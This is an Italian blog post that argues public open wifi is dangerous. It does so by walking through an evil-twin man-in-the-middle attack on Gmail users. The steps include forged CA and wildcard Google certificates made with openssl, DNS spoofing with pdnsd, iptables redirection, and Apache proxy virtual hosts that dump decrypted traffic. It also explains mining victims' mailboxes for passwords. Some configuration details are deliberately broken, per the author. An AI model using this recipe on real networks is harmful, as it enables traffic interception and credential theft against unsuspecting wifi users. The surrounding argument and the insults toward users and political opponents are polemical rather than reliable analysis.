PRIMA DI INIZIARE VOGLIO CHIARIRE: NON VI STO INVITANDO A FARLO. STO SPIEGANDO PASSO PASSO PERCHE’ VEDIATE QUANTI POCHI SIANO I PASSI. BASTA POCO SOFTWARE OPENSOURCE E LA CONOSCENZA DEI PROTOCOLLI. SE DICO “VOI” RIFERENDOMI ALL’ATTACCANTE E’ SOLO PER COMODITA’ DIALETTICA. NON VI STO INVITANDO A FARLO. VI DICO SOLO QUANTO E’ FACILE PER FARVI CAPIRE QUANTO SONO FESSI I GRILLINI SE VI ISTIGANO A COLLEGARVI AD UNA WIFI APERTA. IL WIFI E’ DEBOLISSIMO PER SUA NATURA DI RADIO QUANDO LA RETE E’ APERTA. HO COMUNQUE INSERITO ALCUNE INCONSISTENZE CHE IMPEDISCONO DI USARE LE COSE SEMPLICEMENTE FACENDO COPIA-INCOLLA. PER CORREGGERE GLI ERRORI OCCORRE SAPER FARE QUESTE COSE, IL CHE NON CAMBIA NULLA.
- Un linux ubuntu con openssl e un collegamento ad internet.
openssl s_client -connect mail.google.com:443 -showcerts
depth=1 /C=ZA/O=Thawte Consulting (Pty) Ltd./CN=Thawte SGC CA
s:/C=US/ST=California/L=Mountain View/O=Google Inc/CN=mail.google.com i:/C=ZA/O=Thawte Consulting (Pty) Ltd./CN=Thawte SGC CA
….
- i:/C=US/O=VeriSign, Inc./OU=Class 3 Public Primary Certification Authority
- Polli (completi ignoranti di informatica, utenti Apple -loro non devono sapere niente di informatica, devono solo usarla, ricordate? – utenti di tablet, utenti di smartphone)
- Early User (gente cui gli amici chiedono suggerimenti di informatica, gente che legge riviste di informatica, eccetera)
- Esperti (gente che ha studiato almeno delle basi di informatica in maniera sistematica, ma non conosce i dettagli.)
- Addetti ai lavori (gente che SA esattamente cosa e anche COME funzionino le cose perche’ legge i documenti dell’ IEEE/IETF/3GPP)
- Che il nome dell’host corrisponda. (ha anche spiegato agli amici cosa sia il phishing)
- Che il certificato corrisponda al sito che si vuole raggiungere.
- openssl genrsa -des3 -out ca.key 4096
- openssl req -new -x509 -days 365 -key ca.key -out ca.crt
Common Name (CN): Thawte SGC CA
Organization (O): hawte Consulting (Pty) Ltd.
Organizational Unit (OU): VeriSign, Inc. Class 3 Public Primary Certification Authority
Country(C):ZA
Come sapevamo cosa scriverci? Ma e’ semplice, darling, ce li ha dati gmail:
- C=ZA/O=Thawte Consulting (Pty) Ltd./CN=Thawte SGC CA
- C=US/O=VeriSign, Inc./OU=Class 3 Public Primary Certification Authority
- L’80% dei polli continuera’ perche’ quel messaggio, che noia! mi compare sempre. certe volte. vabe’.
- Il 10% dei polli si tirera’ indietro.
- Il 10 per cento dei polli clicchera’ ok, poi si vedra’ comparire davanti la solita schermata di login, e continuera’ .
- L’early User controllera’ che il sito nel browser sia giusto, e quindi pensera’ a qualche problema del PC o a qualche warning noioso. E continuera’.
- L’esperto aprira’ il certificato e andra’ a controllare il CN (che voi regolerete a mail.google.com, oppure a login.google.com a seconda , ma di solito la gente preferisce non scrivere la password e conservare il cookie , cliccando su “ricordami su questo computer”). Ma vedra’ che il certificato ha il cn, e come se non bastasse menziona Thawte e Verisign: due garanzie nel settore. Aha. Solo che non sa come controllare che la CA sia effettivamente quella.
- L’addetto ai lavori le wifi pubbliche aperte non le usa. Perche’ sa quanto segue. PUNTO.
- openssl req -new -key server.key -out server.csr
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:California
Locality Name (eg, city) []:Mountain View
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Google, Inc.
Organizational Unit Name (eg, section) []: Gmail.
Common Name (eg, YOUR name) []:*.google.com
Email Address []:[email protected]
Adesso per prima cosa installiamo pdnsd. In particolare, PDNSD e’ un proxy dns, che ha una feature curiosa: puo’ leggere il file /etc/hosts e restituire la mappa come se fosse una richiesta al dns, e non un semplice gethostbyname() del kernel , quando si ferma a leggere /etc/hosts.
Allora, nel nostro /etc/pdnsd.conf aggiungiamo questo:
source {
owner=localhost;
serve_aliases=on;
file=”/etc/hosts”;
}
192.168.0.1 mail.google.com
192.168.0.1 http://www.google.com
$nslookup
$ server localhost
Default server: localhost
Address: 127.0.0.1#53
$ http://www.google.com
Server: localhost
Address: 127.0.0.1#53Name: http://www.google.com
Address: 192.168.0.1
- $IPTABLES_CMD -t nat -A OUTPUT -p tcp -m owner ! –uid-owner pdnsd –dport 53 -j DNAT –to 192.168.0.1:53 -m comment –comment “NAT”
- $IPTABLES_CMD -t nat -A OUTPUT -p udp -m owner ! –uid-owner pdnsd –dport 53 -j DNAT –to 192.168.0.1:53 -m comment –comment “NAT”
Adesso dobbiamo fare in modo da intercettare quello che passa sulla vostra interfaccia, ma vogliamo farlo con comodo. Non vogliamo gigabyte di tcpdump da ispezionare. Vogliamo vedere cosa succede e basta.
Allora, ci serve:
- Apache 2.2.xx
- mod_dumpio
- mod_ssl
- mod_proxy
Ovviamente vanno installati ed abilitati propriamente.
Abbiamo detto che quando il nostro genio va su gmail.com o su http://www.google.com in realta’ passa sulla nostra interfaccia wifi. Dobbiamo quindi creare due virtualhost di apache che bindino quell’interfaccia e ci dicano cosa passa.
Prima le cose facili, cioe’ la porta in chiaro. Dobbiamo creare un proxy http trasparente, che con apache si fa in una sola rewrite rule:
(devo sostituire le parentesi acute con quelle graffe perche’ il cazzo di blogger fa un casino)
{VirtualHost 192.168.0.1:80}
ServerName dumper
ProxyRequests Off
RewriteEngine On
RewriteLogLevel 0
LogLevel debug
DumpIOInput On
DumpIOOutput ON
DumpIOLogLevel debug
ErrorLog “/path/mio_dump_robainchiaro.txt”ProxyPreserveHost On
RewriteRule ^/(.*) http://%{HTTP:Host}/$1 [P,L]
{/Virtualhost}
Questo virtualhost di fatto agisce da proxy trasparente, portando le vostre richieste sull’host di destinazione, ma usa mod_dumpio per fare un dump completo del traffico (in chiaro, formato testo, leggibile) su un file. Niente di che, ma se per esempio l’utente si collega a Facebook, dopo il login (criptato) TUTTO il maledetto traffico e’ in chiaro, e lo troverete bello bello nel file. Aha.Proprio cosi’.
Per portare ogni cosa sul proxy trasparente dobbiamo fare:
- $IPTABLES_CMD -t nat -A OUTPUT -p tcp -m owner ! –uid-owner apache –dport 80 -j DNAT –to 192.168.0.1:80 -m comment –comment “NAT”
- $IPTABLES_CMD -t nat -A OUTPUT -p udp -m owner ! –uid-owner apache –dport 80 -j DNAT –to 192.168.0.1:80 -m comment –comment “NAT”
Adesso andiamo ad attaccare la sicurezza dei certificati SSL.
Creiamo un altro virtualhost di apache, fatto cosi’:
{VirtualHost 192.168.0.1:443}
ServerName sniffer_ssl
ProxyRequests Off
RewriteEngine On
RewriteLogLevel 0
LogLevel debug
#parte che serve per il server https
SSLEngine On
SSLCipherSuite ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:-LOW:-SSLv2:+EXP:+eNULL
SSLProtocol all
SSLCertificateFile /miocertificatopath/cert.pem
SSLCertificateKeyFile /miocertificatopath/chiave.pem
AddType application/x-x509-ca-cert .crt
AddType application/x-pkcs7-crl .crl
AddType application/x-x509-ca-cert .cer
#parte che serve per il server https END
#parte che serve per proxare verso un server https
SSLProxyEngine on
SSLVerifyDepth 0
SSLProxyVerifyDepth 0
#fine proxy SSL
DumpIOInput On
DumpIOOutput On
DumpIOLogLevel debug
ErrorLog “/path/mio_dump_robain_ssl.txt”
#regole per mandare tutto sul sito finale
ProxyPreserveHost On
RewriteCont %{HTTP:Host} ^(.*:443)$
RewriteRule ^/(.*) https://%1/$1 [P,L]
RewriteRule ^/(.*) https://%{HTTP:Host}:443/$1 [P,L]
{/VirtualHost}
Che cosa fa questo simpatico virtualhost? Semplice: la parte in verde usa il certificato farlocco per fingere di essere http://www.google.com e mail.google.com , visto che il dns farlocco che abbiamo fatto risolve i due siti sulla nostra interfaccia wifi. E siccome c’e’ la wildcard *.google.com, il certificato produce un allarme meno importante, che e’ semplicemente “non trovo la certification authority”. Il nome dell’host e’ coerente col certificato.
La parte che ho sottolineato in rosso non fa altro che agire da client verso gmail e http://www.google.com quando agiscono su SSL. Fa quello che doveva fare il vostro browser, ed e’ anche piuttosto tollerante sui certificati.
La parte sottolineata in blu, prende il traffico in chiaro (il nostro virtualhost e’ l’endpoint di un browser convinto di andare su mail.google.com) e lo spara verso il vero google, in modo da poter simulare il flusso vero, e mettersi in mezzo. L’utente quindi gira su gmail normalmente.
La parte sottolineata in giallo fa il dump di tutto quel che passa su un file.
Cosa vedra’ il nostro utente collegato ad una rete aperta e gratuita? L’unica differenza col browsing normale sara’ un messaggio di errore per il certificato non valido quando si colleghera’ a gmail. FINE.
Perche’ abbiamo attaccato proprio gmail? Semplice: perche’ quando una persona entra in un nuovo servizio (paypal, facebook, qualsiasi) si fa mandare una email di riepilogo dei dati, che spesso contiene la passwword. E gmail non cancella quasi mai nulla. E gmail ha una comoda finestrella “cerca” nella quale possiamo scrivere “password”, “welcome”, “benvenuto”, e ci dara’ tutte le email che riceviamo dopo esserci iscritti a qualche sito che richiede la password.
- In un mondo perfetto, ovviamente l’utente spegne il browser quando vede l’avviso. Nel mondo reale, l’utente il messaggio di certificato non valido se lo vede dare spesso, clicca “aggiungi eccezione” e gli e’ sempre andata bene. Lo fara’ ancora.
- In un mondo perfetto il browser RIFIUTA di proseguire se c’e’ qualcosa che non va nel certificato, e vaffanculo se qualcuno configura male i DNS/Server http. Nel mondo reale, il messaggio e’ quasi amichevole, e il numero di server malconfigurati e’ ENORME. L’utente e’ abituato a fare “aggiungi eccezione”. Qualcuno controlla che il nome di host coincida. I piu’ sofisticati vanno a controllare il certificato ma non sanno bene come controllarne la veridicita’ personalmente.
- In un mondo perfetto, nessuno tiene le password nella casella email e nessuno accetta che gmail le conservi dentro la casella suddetta. Nella realta’, il 90% delle persone conserva PROPRIO e specialmente queste email su gmail, perche’ “non si sa mai che il PC si rompa”.
Un attaccante puo’ configurare il suo laptop cosi’ come ho descritto e andare in un luogo pubblico semplicemente creando una rete wifi ad hoc con lo stesso ESSID di quella pubblica. Il risultato sara’ che tutti coloro che gli passano vicino si collegheranno a lui senza saperlo.
Questo e’ il punto le reti wifi vanno bene se:
- Si entra con credenziali forti.
- La crittazione sulla rete e’ robusta.
- Esiste un certificato che vi garantisce l’identita’ dell’ access point.
Questo (escluso il punto 2) e’ cio’ che fate con una SIM. Purtroppo la crittazione A5 non e’ niente di speciale quindi il punto due salta.
Ma se entrate nel cazzo di rete wifi aperta e pubblica SENZA almeno il requisito 1 e 3, e lo fate a MILIONI, il rischio e’ che la vostra sicurezza finisca IN MERDA.
Le reti wifi pubbliche e aperte per milioni di persone SONO UN’IDEA DI MERDA, perche’ basta uno stronzo con un portatile per fare danni enormi. Anche NON attaccando l’ SSL, avere la possibilita’ di sniffare tutto il traffico verso facebook/altri siti che vanno in chiaro di una persona e’ gia’ un pericolo ENORME per la sicurezza .
In una citta’ completamente ricoperta da una wifi aperta chi girasse con un portatile configurato come ho descritto e l’ ESSID identico a quello cittadino farebbe “pesca a strascico”, a patto di frequentare posti affollati. Se lo installate in un hotel usando lo stesso ESSID dell’albergo, un pochino di clienti si collegheranno a voi, e gireranno convinti di usare la wifi dell’hotel. Se la lasciate aperta in condominio, vi troverete qualche condomino che si crede furbo attaccato alla rete, nonche’ qualche fesso che si crede un hacker fuori dalla finestra.
Chi vuole la wifi aperta e gratuita per tutti vuole che MILIONI di persone prendano l’abitudine a collegarsi usando wifi aperte, aitudine che e’ pericolosissima per la natura radio della wifi, ovvero per il problema della prossimita’.
Immagino che le reti wifi aperte a tutti siano una figata sul piano del marketing di google. Immagino che siano una figata per le campagne elettorali nelle citta’ americane. Lo sono di sicuro per le campagne elettorali di Grillo.
Ma se dovessi andare nella citta’ i google che grillo ama tanto, sapete cosa farei? Mi collegherei usando una connect card 3G. Che non e’ il massimo della sicurezza, sia chiaro, ma almeno se uso una USIM posso sapere di chi cavolo sia la cella con cui parlo.
E consiglio anche a voi di farlo.
Uriel